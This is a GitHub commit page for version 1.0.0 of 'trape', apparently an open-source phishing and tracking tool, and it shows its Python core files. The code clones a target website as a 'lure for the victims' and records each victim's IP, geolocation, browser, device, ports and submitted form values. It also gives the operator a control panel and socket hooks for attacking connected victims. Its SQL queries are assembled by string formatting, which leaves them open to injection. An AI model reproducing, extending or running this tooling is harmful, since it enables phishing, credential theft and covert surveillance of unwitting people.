Skip to content

Commit cd3ae46

Browse files
author
Jose Pino
authored
trape v1.0.0 (open source)
All base files
1 parent ca27271 commit cd3ae46

27 files changed

Lines changed: 4839 additions & 0 deletions

core/__init__.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
pass

core/db.py

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
#**
4+
#
5+
#########
6+
# trape #
7+
#########
8+
#
9+
# trape depends of this file
10+
# For full copyright information this visit: https://github.com/boxug/trape
11+
#
12+
# Copyright 2017 by boxug / <[email protected]>
13+
#**
14+
15+
import sqlite3
16+
17+
conn = sqlite3.connect("database.db", check_same_thread=False)
18+
19+
def create_db():
20+
c = conn.cursor()
21+
22+
c.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, PRIMARY KEY(`id`) )""")
23+
c.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""")
24+
c.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""")
25+
c.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""")
26+
c.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""")
27+
conn.commit()
28+
return True
29+
30+
def sql_execute(sentence):
31+
c = conn.cursor()
32+
c.execute(sentence)
33+
return c.fetchall()
34+
35+
def sql_one_row(sentence, column):
36+
c = conn.cursor()
37+
c.execute(sentence)
38+
return c.fetchone()[column]
39+
40+
def sql_insert(sentence):
41+
c = conn.cursor()
42+
c.execute(sentence)
43+
conn.commit()
44+
return True
45+
46+
def prop_sentences_stats(type, vId = None):
47+
return {
48+
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
49+
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
50+
'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'" % (vId),
51+
'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'" % (vId),
52+
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
53+
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
54+
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
55+
'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'" % ('online')
56+
}.get(type, False)
57+
58+
def sentences_stats(type, vId = None):
59+
return sql_execute(prop_sentences_stats(type, vId))
60+
61+
def prop_sentences_victim(type, data = None):
62+
if type == 'count_victim':
63+
return "SELECT COUNT(*) AS C FROM victims WHERE id = '%s'" % (data)
64+
elif type == 'count_times':
65+
return "SELECT COUNT(*) AS C FROM clicks WHERE id = '%s'" % (data)
66+
elif type == 'update_victim':
67+
return "UPDATE victims SET ip = '%s', date = '%s', bVersion = '%s', browser = '%s', device = '%s', ports = '%s', time = '%s', cpu = '%s', status = '%s' WHERE id = '%s'" % (data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online', data[1])
68+
elif type == 'update_victim_geo':
69+
return "UPDATE geo SET city = '%s', country_code = '%s', country_name = '%s', ip = '%s', latitude = '%s', longitude = '%s', metro_code = '%s', region_code = '%s', region_name = '%s', time_zone = '%s', zip_code = '%s', isp = '%s', ua='%s' WHERE id = '%s'" % (data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua, data[1])
70+
elif type == 'insert_victim':
71+
return "INSERT INTO victims(id, ip, date, bVersion, browser, device, ports, time, cpu, status) VALUES('%s','%s', '%s','%s', '%s','%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].ip, data[0].date, data[0].version, data[0].browser, data[0].device, data[0].ports, data[2], data[0].cpu, 'online')
72+
elif type == 'insert_victim_geo':
73+
return "INSERT INTO geo(id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (data[1], data[0].city, data[0].country_code, data[0].country_name, data[0].ip, data[0].latitude, data[0].longitude, data[0].metro_code, data[0].region_code, data[0].region_name, data[0].time_zone, data[0].zip_code, data[0].isp, data[0].ua)
74+
elif type == 'count_victim_network':
75+
return "SELECT COUNT(*) AS C FROM networks WHERE id = '%s' AND network = '%s'" % (data[0], data[1])
76+
elif type == 'delete_networks':
77+
return "DELETE FROM networks WHERE id = '%s'" % (data[0])
78+
elif type == 'update_network':
79+
return "UPDATE networks SET date = '%s' WHERE id = '%s' AND network = '%s'" % (data[2], data[0], data[1])
80+
elif type == 'insert_networks':
81+
return "INSERT INTO networks(id, public_ip, ip, network, date) VALUES('%s','%s', '%s', '%s','%s')" % (data[0], data[1], data[2], data[3], data[4])
82+
elif type == 'insert_requests':
83+
return "INSERT INTO requests(id, user_id, site, fid, name, value, date) VALUES('%s', '%s','%s', '%s', '%s','%s', '%s')" % (data[0].sId, data[0].id, data[0].site, data[0].fid, data[0].name, data[0].value, data[1])
84+
elif type == 'insert_click':
85+
return "INSERT INTO clicks(id, site, date) VALUES('%s', '%s','%s')" % (data[0], data[1], data[2])
86+
elif type == 'report_online':
87+
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('online', data[0])
88+
elif type == 'clean_online':
89+
return "UPDATE victims SET status = '%s' " % ('offline')
90+
elif type == 'disconnect_victim':
91+
return "UPDATE victims SET status = '%s' WHERE id = '%s'" % ('offline', data)
92+
else:
93+
return False
94+
95+
def sentences_victim(type, data = None, sRun = 1, column = 0):
96+
if sRun == 2:
97+
return sql_insert(prop_sentences_victim(type, data))
98+
elif sRun == 3:
99+
return sql_one_row(prop_sentences_victim(type, data), column)
100+
else:
101+
return sql_execute(prop_sentences_victim(type, data))

core/sockets.py

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
#**
4+
#
5+
#########
6+
# trape #
7+
#########
8+
#
9+
# trape depends of this file
10+
# For full copyright information this visit: https://github.com/boxug/trape
11+
#
12+
# Copyright 2017 by boxug / <[email protected]>
13+
#**
14+
15+
from socket import gethostname, gethostbyname
16+
from threading import Lock
17+
from flask import Flask, render_template, session, request, json
18+
from flask_socketio import SocketIO, emit, join_room, rooms, disconnect
19+
import core.stats
20+
import core.victim
21+
from victim_objects import attacks_hook_message
22+
from core.utils import utils
23+
from core.db import sentences_victim
24+
25+
# Main parts, to generate relationships among others
26+
trape = core.stats.trape
27+
app = core.stats.app
28+
29+
async_mode = None
30+
socketio = SocketIO(app, async_mode=async_mode)
31+
thread = None
32+
thread_lock = Lock()
33+
34+
sentences_victim('clean_online', None, 2)
35+
36+
def background_thread():
37+
count = 0
38+
39+
@socketio.on("join", namespace="/trape")
40+
def join(message):
41+
join_room(message['room'])
42+
session['receive_count'] = session.get('receive_count', 0) + 1
43+
44+
@socketio.on("my_room_event", namespace="/trape")
45+
def send_room_message(message):
46+
session['receive_count'] = session.get('receive_count', 0) + 1
47+
hookAction = attacks_hook_message(message['data']['type'])
48+
utils.Go(utils.Color['white'] + "[" + utils.Color['blueBold'] + "@" + utils.Color['white'] + "]" + " " + hookAction + utils.Color['blue'] + message['data']['message'] + utils.Color['white'] + ' in ' + utils.Color['green'] + message['room'] + utils.Color['white'])
49+
emit('my_response', {'data': message['data'], 'count': session['receive_count']},room = message['room'])
50+
51+
@socketio.on("disconnect_request", namespace='/trape')
52+
def disconnect_request(d):
53+
session['receive_count'] = session.get('receive_count', 0) + 1
54+
emit('my_response', {'data': 'Disconnected!', 'count': session['receive_count']})
55+
utils.Go(utils.Color['white'] + "[" + utils.Color['redBold'] + "-" + utils.Color['white'] + "]" + utils.Color['red'] + " " + "A victim has closed her connection with the following id:" + " " + utils.Color['green'] + d['vId'] + utils.Color['white'])
56+
sentences_victim('disconnect_victim', d['vId'], 2)
57+
58+
@socketio.on_error("/trape")
59+
def error_handler(e):
60+
pass
61+
62+
@app.route("/" + trape.home_path)
63+
def home():
64+
return render_template("home.html", async_mode=socketio.async_mode)
65+
66+
if __name__ == 'core.sockets':
67+
socketio.run(app, host= '127.0.0.1', port=trape.app_port, debug=False)

core/stats.py

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
#**
4+
#
5+
#########
6+
# trape #
7+
#########
8+
#
9+
# trape depends of this file
10+
# For full copyright information this visit: https://github.com/boxug/trape
11+
#
12+
# Copyright 2017 by boxug / <[email protected]>
13+
#**
14+
import urllib2
15+
from flask import Flask, render_template, session, request, json
16+
from core.trape import Trape
17+
from core.db import sentences_stats
18+
19+
# Main parts, to generate relationships among others
20+
trape = Trape()
21+
app = Flask(__name__, template_folder='../templates', static_folder='../static')
22+
23+
# preview header tool in console
24+
trape.header()
25+
26+
@app.route("/" + trape.stats_path)
27+
def index():
28+
return render_template("/login.html")
29+
30+
@app.route("/logout")
31+
def logout():
32+
return render_template("/login.html")
33+
34+
@app.route("/login", methods=["POST"])
35+
def login():
36+
id = request.form['id']
37+
if id == trape.stats_key:
38+
return json.dumps({'status':'OK', 'path' : trape.home_path, 'victim_path' : trape.victim_path, 'url_to_clone' : trape.url_to_clone, 'app_port' : trape.app_port, 'date_start' : trape.date_start, 'user_ip' : '127.0.0.1'});
39+
else:
40+
return json.dumps({'status':'NOPE', 'path' : '/'});
41+
42+
@app.route("/get_data", methods=["POST"])
43+
def home_get_dat():
44+
d = sentences_stats('get_data')
45+
n = sentences_stats('all_networks')
46+
47+
('clean_online')
48+
rows = sentences_stats('get_clicks')
49+
c = rows[0][0]
50+
rows = sentences_stats('get_sessions')
51+
s = rows[0][0]
52+
rows = sentences_stats('get_online')
53+
o = rows[0][0]
54+
55+
return json.dumps({'status' : 'OK', 'd' : d, 'n' : n, 'c' : c, 's' : s, 'o' : o});
56+
57+
@app.route("/get_preview", methods=["POST"])
58+
def home_get_preview():
59+
vId = request.form['vId']
60+
d = sentences_stats('get_preview', vId)
61+
n = sentences_stats('id_networks', vId)
62+
return json.dumps({'status' : 'OK', 'vId' : vId, 'd' : d, 'n' : n});
63+
64+
@app.route("/get_title", methods=["POST"])
65+
def home_get_title():
66+
opener = urllib2.build_opener()
67+
html = opener.open(trape.url_to_clone).read()
68+
html = html[html.find('<title>') + 7 : html.find('</title>')]
69+
return json.dumps({'status' : 'OK', 'title' : html});
70+
71+
@app.route("/get_requests", methods=["POST"])
72+
def home_get_requests():
73+
d = sentences_stats('get_requests')
74+
75+
return json.dumps({'status' : 'OK', 'd' : d});

core/trape.py

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
#**
4+
#
5+
#########
6+
# trape #
7+
#########
8+
#
9+
# trape depends of this file
10+
# For full copyright information this visit: https://github.com/boxug/trape
11+
#
12+
# Copyright 2017 by boxug / <[email protected]>
13+
#**
14+
import time
15+
import json
16+
import optparse
17+
import socket
18+
import sys
19+
import os
20+
from core.utils import utils
21+
from core.db import create_db
22+
23+
class Trape(object):
24+
def __init__(self):
25+
self.name_trape = "trape"
26+
self.stats_path = "s" + utils.generateToken(6)
27+
self.home_path = "h" + utils.generateToken(18)
28+
self.stats_key = utils.generateToken(24)
29+
self.date_start = time.strftime("%Y-%m-%d - %H:%M:%S")
30+
parser = optparse.OptionParser("python" + " " + "%prog -u <<Url>> -c <<Port>>", version="1.0.0")
31+
parser.add_option('-u', '--url', dest='url', help='Put the web page url to clone')
32+
parser.add_option('-p', '--port', dest='port', help='Insert your port')
33+
34+
(options, args) = parser.parse_args()
35+
36+
mandatories = ['url', 'port']
37+
for m in mandatories:
38+
if not options.__dict__[m]:
39+
parser.print_help()
40+
exit(-1)
41+
42+
if utils.checkPort(int(options.port)) == False:
43+
utils.Go("\n" + utils.Color['white'] + "[" + utils.Color['redBold'] + "x" + utils.Color['white'] + "]" + " " + "The port:" + " " + utils.Color['whiteBold'] + options.port + utils.Color['white'] + " " + "is not available, It was previously used (" + utils.Text['underline'] + "Use another port" + utils.Text['end'] + ")" + "\n")
44+
exit(-1)
45+
46+
self.app_port = int(options.port)
47+
self.url_to_clone = str(options.url)
48+
self.victim_path = options.url.replace("http://", "").replace("https://", "")
49+
50+
# Design principal of the header of sack
51+
def header(self):
52+
utils.banner()
53+
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + "+" + utils.Color['white'] + "--" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Lure for the victims: " + utils.Color['blue'] + 'http://127.0.0.1:' + str(self.app_port) + '/' + self.victim_path)
54+
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + "+" + utils.Color['white'] + "--" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Control Panel Link: " + utils.Color['blue'] + "http://127.0.0.1:" + utils.Color['blue'] + str(self.app_port) + '/' + self.stats_path)
55+
utils.Go(utils.Color['white'] + "\t" + utils.Color['green'] + "+" + utils.Color['white'] + "--" + utils.Color['blue'] + "=" + utils.Color['white'] + "[" + utils.Color['white'] + " Your Access key: " + utils.Color['blue'] + self.stats_key + "\n\n" + utils.Color['white'])
56+
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + ">" + utils.Color['white'] + "]" + utils.Color['whiteBold'] + " " + "Start time:" + " " + utils.Color['white'] + self.date_start)
57+
utils.Go(utils.Color['white'] + "[" + utils.Color['greenBold'] + "¡" + utils.Color['white'] + "]" + utils.Color['white'] + " " + "Waiting for the victims to fall..." + "\n")
58+
59+
# Important: in the process of use is possible that will ask for the root
60+
def rootConnection(self):
61+
if sys.platform != "win32" and sys.platform != "cygwin":
62+
if os.getuid() != 0:
63+
utils.Go("\t" + "--------------------")
64+
utils.Go("\t" + "> Welcome to " + self.name_trape + " <")
65+
utils.Go("\t" + "--------------------")
66+
utils.Go(utils.Color["blueBold"] + "[*] " + utils.Color["white"] + "Hello " + utils.Color["greenBold"] + os.uname()[1] + "," + utils.Color["white"] + " I hope you enjoy my role")
67+
utils.Go(utils.Color["redBold"] + "[x] " + utils.Color["white"] + "You must run in mode " + utils.Color["whiteBold"] + "root" + utils.Color["white"] + " to be able to operate.")
68+
exit(0)
69+
70+
# Database creation.
71+
def runDatabase(self):
72+
create_db()
73+
74+
def loadCheck(self):
75+
# Detect operating system, to compose the compatibility
76+
utils.checkOS()
77+
78+
# the main file (trape.py)
79+
def main(self):
80+
import core.sockets

0 commit comments

Comments
 (0)